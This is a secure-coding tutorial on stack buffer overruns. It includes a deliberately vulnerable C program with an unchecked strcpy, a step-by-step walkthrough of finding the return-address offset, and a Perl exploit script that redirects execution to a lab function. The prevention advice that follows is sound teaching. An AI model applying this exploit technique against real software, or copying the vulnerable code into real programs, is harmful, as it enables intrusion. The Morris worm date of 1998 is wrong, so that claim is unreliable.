The Buffer Overrun

Buffer overruns have been a known security problem for quite some time. One of the first examples was the Robert T. Morris finger worm in 1998. This exploit brought the Internet almost to a complete halt as sysadmins took their systems offline to try to contain the damage. The first buffer overrun problems started occurring during the 1960's and in the summer of 2001 searching the Microsoft Knowledge Base for the words *buffer, security,* and *bulletin* yielded 20 hits. Today a search of the same keywords will yield almost 2 million hits on Google and 1,500 from Microsoft alone. If you read the BugTraq mailing list you will see the largest security culprit is buffer overruns.

The reasons that buffer overruns are a problem to this day are poor coding practices, the fact that both C and C++ give programmers many ways to shoot themselves in the foot, a lack of safe and easy to use string-handling functions, and ignorance about the consequences of mistakes. With the rash of problems that the industry has been experiencing the last few years a number of companies including Microsoft have developed solutions to prevent these problems from reoccurring but there are billions of lines of legacy code that can still be affected by this problem.

Stack Overruns

A stack-based buffer overrun occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer. Variables declared on the stack are located next to the return address for the functions caller.

The usual culprit is unchecked user input passed to a function such as *strcpy,* and the result is that the return address for the function gets overwritten by an address chosen by the attacker (allowing the attacker to get the program to execute his own code) or overwrite other variables with the hackers own preference. This requires a lot of patience by the hacker and an almost endless permutation of inputs, but many of them feel it's a puzzle akin to the Rubik's cube and devote hundreds of hours to finding an exploit.

This is a bit of a complex subject and the more you know about the inner workings of compilers and programs the easier it is to understand. Let's look at a program written in C to demonstrate a simple exploit; later on we will attempt to reproduce this exploit in the Lab.

```
/*
  StackOverrun.c
  This program shows an example of how a stack-based
  buffer overrun can be used to execute arbitrary code.  Its
  objective is to find an input string that executes the function bar.
*/

#pragma check_stack(off)

#include <string.h>
#include <stdio.h>

void foo(const char* input)
{
    char buf[10];

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    if (argc != 2)
 {
        printf("Please supply a string as an argument!\n");
        return -1;
        }
foo(argv[1]);
    return 0;
}
```

The program is simple enough. A command line parameter is passed into the program by specifying its value after the command name, for example:

```
C> StackOverrun Hello
```

The parameter "Hello" is passed into the program setting arcg (argument count) to 2 (one for the program name StackOverrun and two for the word "Hello"). Argv is a list of the arguments themselves with the following values:

- `argv[0] = "StackOverrun"`
- `argv[1] = "Hello"`

The main() function cheats a little by printing the address of the two functions foo() and bar() and then passes the command line argument to the foo() function.

Inside of foo() we use a little trick to display the stack memory using a printf() function call with %p parameters.

Then the actual buffer overrun occurs when we strcpy() the command line supplied argument into the buf[] array that has been allocated with 10 bytes of memory.

Everything works ok as long as we use source strings that are less than 10 bytes in size (we need 1 character for the null terminator '\0' which terminates the string.

The Stack starts off empty. When the program encounters the function call in this code:

```
foo(argv[1])
```

A few things happen. First the return address of the line immediately following the foo() function is placed on the stack (in this case it is the address of the return 0; statement). The compiler does this so that it knows how to get back to the main() function after the foo() function finishes executing.

Next, the compiler allocates space for local variables which in this case is the 10 bytes required for buf[].

The objective is to copy a string that is large enough to go past the allocated 10 bytes and eventually hit the return address and replace it with our own address, in this case the address of the bar() function. In the real world a hacker would inject his own bar() function and put their own insidious code in it. Here we will just use a simple "Augh! I've been hacked" string to demonstrate the idea.

Microsoft has been putting lots of checks and balances in their compilers to try to fix this problem, so if you attempt to replicate the code yourself there are a number of required steps that will be detailed in the lab. Your instructor will supply you with a sample executable, just keep in mind that none of the addresses are exact and will change slightly depending on your machines configuration, memory, O/S, and other variables.

Let's take a look at some output after providing a string as the command line argument:

```
C> StackOverrun Hello
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <-- We want to overwrite the return address for foo.
00410EDE

Hello
Now the stack looks like:
6C6C6548 ← You can see where hello was copied in.
0000006F
7FFDF000
0012FF80
0040108A
00410EDE
```

Now for the classic test for buffer overruns, we input a long string. The hacker is looking for the ability of overwriting the return address by placing a known value as the return address. Using a long string of AAAA's should do the trick because the hacker knows the ASCII code for A is 41h.

```
C> StackOverrun AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EDE

Hello
Now the stack looks like:
41414141
41414141
41414141
41414141
41414141
41414141
```

And we get the application error message claiming the instruction at 0x41414141 tried to access memory at address 0x41414141.

Note that if you have a development environment on your system such as Visual Studio it might intercept the error and try to hide it from you. This result is proof that our application is exploitable. Warning! Just because you can't figure out a way to get this result does not mean that the overrun isn't exploitable. It means that you haven't worked on it long enough.

The hacker now knows that a buffer overrun exploit is now achievable, but does not know the exact position of the return address because they used the same character (A) repeatedly in the string. The solution to this is to vary each character and run it again.

```
C> StackOverrun ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EDE

Hello
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
54535251 <- We have changed the return address!
58575655
```

The application error message now shows that we're trying to execute instructions at 0x54535251. Glancing again at our ASCII charts, we see that 0x54 is the code for the letter T, so that's what we'd like to modify. Let's now try this:

```
C> StackOverrun ABCDEFGHIJKLMNOPQRS
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EDE

Hello
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00535251 <-  Note the change in the address
00410ECE
```

Now we are getting somewhere! By changing the user input, we're able to manipulate where the program tries to execute the next instruction. By deleting everything in the input sequence after the letter 'S' we changed the first byte to a 00. 53,52,51 corresponds to QRS in ASCII. So what we need to do is find a way to inject the address of bar() after the letter 'P' in our string.

This can be a bit of a problem. According to the printout, bar() is at address 401045. 40 and 45 are displayable characters, but 10 is not. There are two possible solutions to the problem.

The first solution is an old trick I learned when I first started to repair computers. You can enter any ASCII code by pressing and holding the Alt key, then typing the code on the numeric keypad, then releasing the Alt key. So to enter an ASCII 10, you would press and hold the Alt key, type 1 then 0 on the numeric key then release the Alt key. This doesn't work 100% of the time on all systems, so an alternative is needed.

The second solution is to use the hackers old standby, the Perl programming language. We will create a very simple 3 line Perl script named HackOverrun.pl to inject the required addresses at the end of our ASCII string:

```
$arg = "ABCDEFGHIJKLMNOP"."\x45\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
```

Running the script produces the desired results:

```
C> perl HackOverrun.pl
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A <- Trying to change this
00410EDE

Hello
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00401045 <- Success!
00410ECA

Augh! I've been hacked!
```

That was easy, wasn't it? It looks like something a junior programmer could have done. In a real attack, we'd fill the first 16 characters with Assembly language code designed to do ghastly things to the victim and set the return address to the start of the buffer. Think about how easy this is to exploit the next time you are working with user input.

Note again that if you are using different compilers or compiler versions, different operating systems, and operating system service packs the offsets will be different. That's one of the reasons we cheated and printed out the address of the functions. The way to get the examples to work correctly is to follow along using the same technique as we have just demonstrated but to substitute the actual address of the bar function into your Perl script.

The new compilers such as VS 2003 and 2005 include a /GS flag and stack checks that are enabled by default and will prevent the examples from working as well. But remember that older versions of the compiler won't do this for you and remain very vulnerable.

Other Vulnerabilities

The stack isn't the only object that can be affected by overruns, but it is the easiest. Other items are:

- Heap overruns (memory allocated with New or malloc())
- Array Indexing Errors (accessing elements past the allotted size)
- Format String Bugs (%'s inside of scanf()'s and printf()'s)
- Unicode Buffer Size Mismatches (Unicode characters are 2 bytes each)

These are much harder to exploit and I will spare you the detailed explanations of each.

Preventing Buffer Overruns

At this point I apologize if all the talk of buffers and pointers and strange C++ code is giving you a headache. We don't have to have a detailed understanding of exactly what is happening in an overrun, we just have to understand how to **prevent** them.

Always validate your inputs. The world outside your function should be treated as hostile and bent upon your destruction. Even if you control the calling program and can guarantee that you would never give bad data to the function, you should **always** validate the input.
Other people are going to end up calling your code at some future point and you can't guarantee they will be as safe as you are in providing the inputs. Other programmers may be maintaining the code in the future and might not be aware of these potential problems.

A defensive programming technique is to memset() the buffer before you use it like this:

```
#ifdef _DEBUG
     memset(dest, 'A', buflen); //buflen = size in bytes
#endif
```

Then, when someone calls your function and mages to pass in a bad argument for the buffer length, their code will blow up. This is a great way to embed testing in your applications and does not affect performance as the check is only coded in Debug builds.

Safe String Handling

String handling is the single largest source of buffer overruns. Let's look at a few string handling functions.

strcpy(char *strDestination. char *strSource)

The strcpy() function is inherently unsafe and should be used rarely, if at all. The number of ways that this function can blow up is nearly unlimited. If either the source or destination is null you end up in the exception handler. If the source is not null terminated the results are undefined, depending on how lucky you are finding a null byte in memory.
The biggest problem is that if the source string is larger than the destination an overflow occurs. This function can be used safely only in trivial cases, such as copying a fixed string into a buffer to prefix another string.

If you are determined to use it (for some bizarre reason), make sure you check the input buffer for proper length:

```
if (strlen(input) < sizeof(buf) )
     {
     //Everything checks out
     strcpy(buf, input);
     }
else
     {
     printf("Overflow error ….");
     exit();
     }
```

sprintf()

The sprintf() function is right up there with strcpy in terms of the mischief it can cause. Consider never using it.

strncpy(char *strDestination. char *strSource, count)

strncpy tries to fix strcpy's deficiencies by adding a count argument. The problem is that you can still pass a count that is larger than the destinations buffer size.

It is a severe problem if the source is larger than the destination and you should not try to mask it, if you are being passed bad data on the input you should fix it. Rember GIGO.

Use Strsafe.h

Later versions of Microsoft compilers have added a set of safe string handling functions you can use by including Strsafe.h

You can read more about it here: http://msdn2.microsoft.com/en-us/library/ms995353.aspx

The Visual C++ .NET /GS Option

This is a new compiler setting that sets up a canary between the local variables in a function and the return address pointer. The /GS option prevents *simple* stack overruns from becoming exploitable, emphasis on the word simple. It is possible to defeat the stack check if you try hard enough.

Summary

Buffer overruns are responsible for many highly damaging security bugs. I am hoping that if you have a better understanding of how your attackers take advantage of these errors, you will have a more thorough approach to dealing with user input. We looked at some of the more common string handling functions and how they contribute to unsafe code. You learned about several solutions including proper use of string classes or the Strsafe.h can help make your code more robust and trustworthy. Lastly, it always pays to understand the limitations of your tools. Stack-checking compiler options offer a safety net, but they are not a substitute for writing robust, secure code in the first place.